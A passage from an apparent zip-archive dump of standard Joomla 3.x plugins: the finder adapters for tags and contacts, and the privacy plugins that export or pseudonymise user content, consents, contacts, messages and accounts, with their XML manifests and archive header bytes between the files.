		$item->params = clone JComponentHelper::getParams('com_tags', true);
		$item->params->merge($registry);

		$item->metadata = new Registry($item->metadata);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = TagsHelperRoute::getTagRoute($item->slug);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}

		// Add the meta author.
		$item->metaauthor = $item->metadata->get('author');

		// Handle the link to the metadata.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'link');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'author');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Tag');

		// Add the author taxonomy data.
		if (!empty($item->author) || !empty($item->created_by_alias))
		{
			$item->addTaxonomy('Author', !empty($item->created_by_alias) ? $item->created_by_alias : $item->author);
		}

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 */
	protected function setup()
	{
		// Load dependent classes.
		JLoader::register('TagsHelperRoute', JPATH_SITE . '/components/com_tags/helpers/route.php');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   3.1
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.title, a.alias, a.description AS summary')
			->select('a.created_time AS start_date, a.created_user_id AS created_by')
			->select('a.metakey, a.metadesc, a.metadata, a.language, a.access')
			->select('a.modified_time AS modified, a.modified_user_id AS modified_by')
			->select('a.published AS state, a.access, a.created_time AS start_date, a.params');

		// Handle the alias CASE WHEN portion of the query
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias)
			->from('#__tags AS a');

		// Join the #__users table
		$query->select('u.name AS author')
			->join('LEFT', '#__users AS u ON u.id = a.created_user_id');

		// Exclude the ROOT item
		$query->where($db->quoteName('a.id') . ' > 1');

		return $query;
	}

	/**
	 * Method to get a SQL query to load the published and access states for the given tag.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   3.1
	 */
	protected function getStateQuery()
	{
		$query = $this->db->getQuery(true);
		$query->select($this->db->quoteName('a.id'))
			->select($this->db->quoteName('a.' . $this->state_field, 'state') . ', ' . $this->db->quoteName('a.access'))
			->select('NULL AS cat_state, NULL AS cat_access')
			->from($this->db->quoteName($this->table, 'a'));

		return $query;
	}

	/**
	 * Method to get the query clause for getting items to update by time.
	 *
	 * @param   string  $time  The modified timestamp.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   3.1
	 */
	protected function getUpdateQueryByTime($time)
	{
		// Build an SQL query based on the modified time.
		$query = $this->db->getQuery(true)
			->where('a.date >= ' . $this->db->quote($time));

		return $query;
	}
}
PK�(]���..finder/contacts/contacts.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_contacts</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_CONTACTS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contacts">contacts.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_contacts.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_contacts.sys.ini</language>
	</languages>
</extension>
PK�(]�m�7070finder/contacts/contacts.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Contacts
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Finder adapter for Joomla Contacts.
 *
 * @since  2.5
 */
class PlgFinderContacts extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'Contacts';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension = 'com_contact';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout = 'contact';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title = 'Contact';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table = '#__contact_details';

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $state_field = 'published';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to update the item link information when the item category is
	 * changed. This is fired when the item category is published or unpublished
	 * from the list view.
	 *
	 * @param   string   $extension  The extension whose category has been updated.
	 * @param   array    $pks        A list of primary key ids of the content that has changed state.
	 * @param   integer  $value      The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderCategoryChangeState($extension, $pks, $value)
	{
		// Make sure we're handling com_contact categories
		if ($extension === 'com_contact')
		{
			$this->categoryStateChange($pks, $value);
		}
	}

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * This event will fire when contacts are deleted and when an indexed item is deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_contact.contact')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove the items.
		return $this->remove($id);
	}

	/**
	 * Method to determine if the access level of an item changed.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object
	 * @param   boolean  $isNew    If the content has just been created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle contacts here
		if ($context === 'com_contact.contact')
		{
			// Check if the access levels are different
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the item
			$this->reindex($row->id);
		}

		// Check for access changes in the category
		if ($context === 'com_categories.category')
		{
			// Check if the access levels are different
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Method to reindex the link information for an item that has been saved.
	 * This event is fired before the data is actually saved so we are going
	 * to queue the item to be indexed later.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle contacts here
		if ($context === 'com_contact.contact')
		{
			// Query the database for the old access level if the item isn't new
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		// Check for access levels from the category
		if ($context === 'com_categories.category')
		{
			// Query the database for the old access level if the item isn't new
			if (!$isNew)
			{
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle contacts here
		if ($context === 'com_contact.contact')
		{
			$this->itemStateChange($pks, $value);
		}

		// Handle when the plugin is disabled
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->setLanguage();

		// Initialize the item parameters.
		$item->params = new Registry($item->params);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = ContactHelperRoute::getContactRoute($item->slug, $item->catslug, $item->language);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}

		/*
		 * Add the metadata processing instructions based on the contact
		 * configuration parameters.
		 */
		// Handle the contact position.
		if ($item->params->get('show_position', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'position');
		}

		// Handle the contact street address.
		if ($item->params->get('show_street_address', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'address');
		}

		// Handle the contact city.
		if ($item->params->get('show_suburb', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'city');
		}

		// Handle the contact region.
		if ($item->params->get('show_state', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'region');
		}

		// Handle the contact country.
		if ($item->params->get('show_country', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'country');
		}

		// Handle the contact zip code.
		if ($item->params->get('show_postcode', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'zip');
		}

		// Handle the contact telephone number.
		if ($item->params->get('show_telephone', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'telephone');
		}

		// Handle the contact fax number.
		if ($item->params->get('show_fax', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'fax');
		}

		// Handle the contact email address.
		if ($item->params->get('show_email', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'email');
		}

		// Handle the contact mobile number.
		if ($item->params->get('show_mobile', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'mobile');
		}

		// Handle the contact webpage.
		if ($item->params->get('show_webpage', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'webpage');
		}

		// Handle the contact user name.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'user');

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Contact');

		// Add the category taxonomy data.
		$item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access);

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Add the region taxonomy data.
		if (!empty($item->region) && $this->params->get('tax_add_region', true))
		{
			$item->addTaxonomy('Region', $item->region);
		}

		// Add the country taxonomy data.
		if (!empty($item->country) && $this->params->get('tax_add_country', true))
		{
			$item->addTaxonomy('Country', $item->country);
		}

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function setup()
	{
		// Load dependent classes.
		JLoader::register('ContactHelperRoute', JPATH_SITE . '/components/com_contact/helpers/route.php');

		// This is a hack to get around the lack of a route helper.
		FinderIndexerHelper::getContentPath('index.php?option=com_contact');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.name AS title, a.alias, a.con_position AS position, a.address, a.created AS start_date')
			->select('a.created_by_alias, a.modified, a.modified_by')
			->select('a.metakey, a.metadesc, a.metadata, a.language')
			->select('a.sortname1, a.sortname2, a.sortname3')
			->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')
			->select('a.suburb AS city, a.state AS region, a.country, a.postcode AS zip')
			->select('a.telephone, a.fax, a.misc AS summary, a.email_to AS email, a.mobile')
			->select('a.webpage, a.access, a.published AS state, a.ordering, a.params, a.catid')
			->select('c.title AS category, c.published AS cat_state, c.access AS cat_access');

		// Handle the alias CASE WHEN portion of the query
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias);

		$case_when_category_alias = ' CASE WHEN ';
		$case_when_category_alias .= $query->charLength('c.alias', '!=', '0');
		$case_when_category_alias .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when_category_alias .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when_category_alias .= ' ELSE ';
		$case_when_category_alias .= $c_id . ' END as catslug';
		$query->select($case_when_category_alias)

			->select('u.name')
			->from('#__contact_details AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid')
			->join('LEFT', '#__users AS u ON u.id = a.user_id');

		return $query;
	}
}
PK�(]��

privacy/content/content.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_content</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_CONTENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="content">content.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_content.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_content.sys.ini</language>
	</languages>
</extension>
PK�(]��.H��privacy/content/content.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.content
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla user content data
 *
 * @since  3.9.0
 */
class PlgPrivacyContent extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core user content data
	 *
	 * This event will collect data for the content core table
	 *
	 * - Content custom fields
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		$domains   = array();
		$domain    = $this->createDomain('user_content', 'joomla_user_content_data');
		$domains[] = $domain;

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__content'))
			->where($this->db->quoteName('created_by') . ' = ' . (int) $user->id)
			->order($this->db->quoteName('ordering') . ' ASC');

		$items = $this->db->setQuery($query)->loadObjectList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray((array) $item));
		}

		$domains[] = $this->createCustomFieldsDomain('com_content.article', $items);

		return $domains;
	}
}
PK�(]��privacy/consents/consents.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_consents</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_CONSENTS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="consents">consents.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_consents.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_consents.sys.ini</language>
	</languages>
</extension>
PK�(]G�����privacy/consents/consents.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.consents
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla user consent data
 *
 * @since  3.9.0
 */
class PlgPrivacyConsents extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core user consent data
	 *
	 * This event will collect data for the core `#__privacy_consents` table
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		$domain    = $this->createDomain('consents', 'joomla_consent_data');

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__privacy_consents'))
			->where($this->db->quoteName('user_id') . ' = ' . (int) $user->id)
			->order($this->db->quoteName('created') . ' ASC');

		$items = $this->db->setQuery($query)->loadAssocList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray($item));
		}

		return array($domain);
	}
}
PK�(]H׾��privacy/user/user.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_user</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_USER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="user">user.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_user.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_user.sys.ini</language>
	</languages>
</extension>
PK�(]r9GGprivacy/user/user.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.user
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\User\UserHelper;
use Joomla\Utilities\ArrayHelper;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');
JLoader::register('PrivacyRemovalStatus', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/removal/status.php');

/**
 * Privacy plugin managing Joomla user data
 *
 * @since  3.9.0
 */
class PlgPrivacyUser extends PrivacyPlugin
{
	/**
	 * Performs validation to determine if the data associated with a remove information request can be processed
	 *
	 * This event will not allow a super user account to be removed
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyRemovalStatus
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCanRemoveData(PrivacyTableRequest $request, JUser $user = null)
	{
		$status = new PrivacyRemovalStatus;

		if (!$user)
		{
			return $status;
		}

		if ($user->authorise('core.admin'))
		{
			$status->canRemove = false;
			$status->reason    = JText::_('PLG_PRIVACY_USER_ERROR_CANNOT_REMOVE_SUPER_USER');
		}

		return $status;
	}

	/**
	 * Processes an export request for Joomla core user data
	 *
	 * This event will collect data for the following core tables:
	 *
	 * - #__users (excluding the password, otpKey, and otep columns)
	 * - #__user_notes
	 * - #__user_profiles
	 * - User custom fields
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		/** @var JTableUser $userTable */
		$userTable = JUser::getTable();
		$userTable->load($user->id);

		$domains = array();
		$domains[] = $this->createUserDomain($userTable);
		$domains[] = $this->createNotesDomain($userTable);
		$domains[] = $this->createProfileDomain($userTable);
		$domains[] = $this->createCustomFieldsDomain('com_users.user', array($userTable));

		return $domains;
	}

	/**
	 * Removes the data associated with a remove information request
	 *
	 * This event will pseudoanonymise the user account
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyRemoveData(PrivacyTableRequest $request, JUser $user = null)
	{
		// This plugin only processes data for registered user accounts
		if (!$user)
		{
			return;
		}

		$pseudoanonymisedData = array(
			'name'      => 'User ID ' . $user->id,
			'username'  => bin2hex(random_bytes(12)),
			'email'     => 'UserID' . $user->id . 'removed@email.invalid',
			'block'     => true,
		);

		$user->bind($pseudoanonymisedData);

		$user->save();

		// Destroy all sessions for the user account
		UserHelper::destroyUserSessions($user->id);
	}

	/**
	 * Create the domain for the user notes data
	 *
	 * @param   JTableUser  $user  The JTableUser object to process
	 *
	 * @return  PrivacyExportDomain
	 *
	 * @since   3.9.0
	 */
	private function createNotesDomain(JTableUser $user)
	{
		$domain = $this->createDomain('user_notes', 'joomla_user_notes_data');

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__user_notes'))
			->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($user->id));

		$items = $this->db->setQuery($query)->loadAssocList();

		// Remove user ID columns
		foreach (array('user_id', 'created_user_id', 'modified_user_id') as $column)
		{
			$items = ArrayHelper::dropColumn($items, $column);
		}

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray($item, $item['id']));
		}

		return $domain;
	}

	/**
	 * Create the domain for the user profile data
	 *
	 * @param   JTableUser  $user  The JTableUser object to process
	 *
	 * @return  PrivacyExportDomain
	 *
	 * @since   3.9.0
	 */
	private function createProfileDomain(JTableUser $user)
	{
		$domain = $this->createDomain('user_profile', 'joomla_user_profile_data');

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__user_profiles'))
			->where($this->db->quoteName('user_id') . ' = ' . $this->db->quote($user->id))
			->order($this->db->quoteName('ordering') . ' ASC');

		$items = $this->db->setQuery($query)->loadAssocList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray($item));
		}

		return $domain;
	}

	/**
	 * Create the domain for the user record
	 *
	 * @param   JTableUser  $user  The JTableUser object to process
	 *
	 * @return  PrivacyExportDomain
	 *
	 * @since   3.9.0
	 */
	private function createUserDomain(JTableUser $user)
	{
		$domain = $this->createDomain('users', 'joomla_users_data');
		$domain->addItem($this->createItemForUserTable($user));

		return $domain;
	}

	/**
	 * Create an item object for a JTableUser object
	 *
	 * @param   JTableUser  $user  The JTableUser object to convert
	 *
	 * @return  PrivacyExportItem
	 *
	 * @since   3.9.0
	 */
	private function createItemForUserTable(JTableUser $user)
	{
		$data    = array();
		$exclude = array('password', 'otpKey', 'otep');

		foreach (array_keys($user->getFields()) as $fieldName)
		{
			if (!in_array($fieldName, $exclude))
			{
				$data[$fieldName] = $user->$fieldName;
			}
		}

		return $this->createItemFromArray($data, $user->id);
	}
}
PK�(]�L�0

privacy/contact/contact.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_contact</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_CONTACT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contact">contact.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_contact.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_contact.sys.ini</language>
	</languages>
</extension>
PK�(]�(�r//privacy/contact/contact.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.contact
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla user contact data
 *
 * @since  3.9.0
 */
class PlgPrivacyContact extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core user contact data
	 *
	 * This event will collect data for the contact core tables:
	 *
	 * - Contact custom fields
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user && !$request->email)
		{
			return array();
		}

		$domains   = array();
		$domain    = $this->createDomain('user_contact', 'joomla_user_contact_data');
		$domains[] = $domain;

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__contact_details'))
			->order($this->db->quoteName('ordering') . ' ASC');

		if ($user)
		{
			$query->where($this->db->quoteName('user_id') . ' = ' . (int) $user->id);
		}
		else
		{
			$query->where($this->db->quoteName('email_to') . ' = ' . $this->db->quote($request->email));
		}

		$items = $this->db->setQuery($query)->loadObjectList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray((array) $item));
		}

		$domains[] = $this->createCustomFieldsDomain('com_contact.contact', $items);

		return $domains;
	}
}
PK�(]��E�%%privacy/message/message.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.message
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla user messages
 *
 * @since  3.9.0
 */
class PlgPrivacyMessage extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core user message
	 *
	 * This event will collect data for the message table
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		$domain = $this->createDomain('user_messages', 'joomla_user_messages_data');

		$query = $this->db->getQuery(true)
			->select('*')
			->from($this->db->quoteName('#__messages'))
			->where($this->db->quoteName('user_id_from') . ' = ' . (int) $user->id)
			->orWhere($this->db->quoteName('user_id_to') . ' = ' . (int) $user->id)
			->order($this->db->quoteName('date_time') . ' ASC');

		$items = $this->db->setQuery($query)->loadAssocList();

		foreach ($items as $item)
		{
			$domain->addItem($this->createItemFromArray($item));
		}

		return array($domain);
	}
}
PK�(]����

privacy/message/message.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_message</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_MESSAGE_XML_DESCRIPTION</description>
	<files>
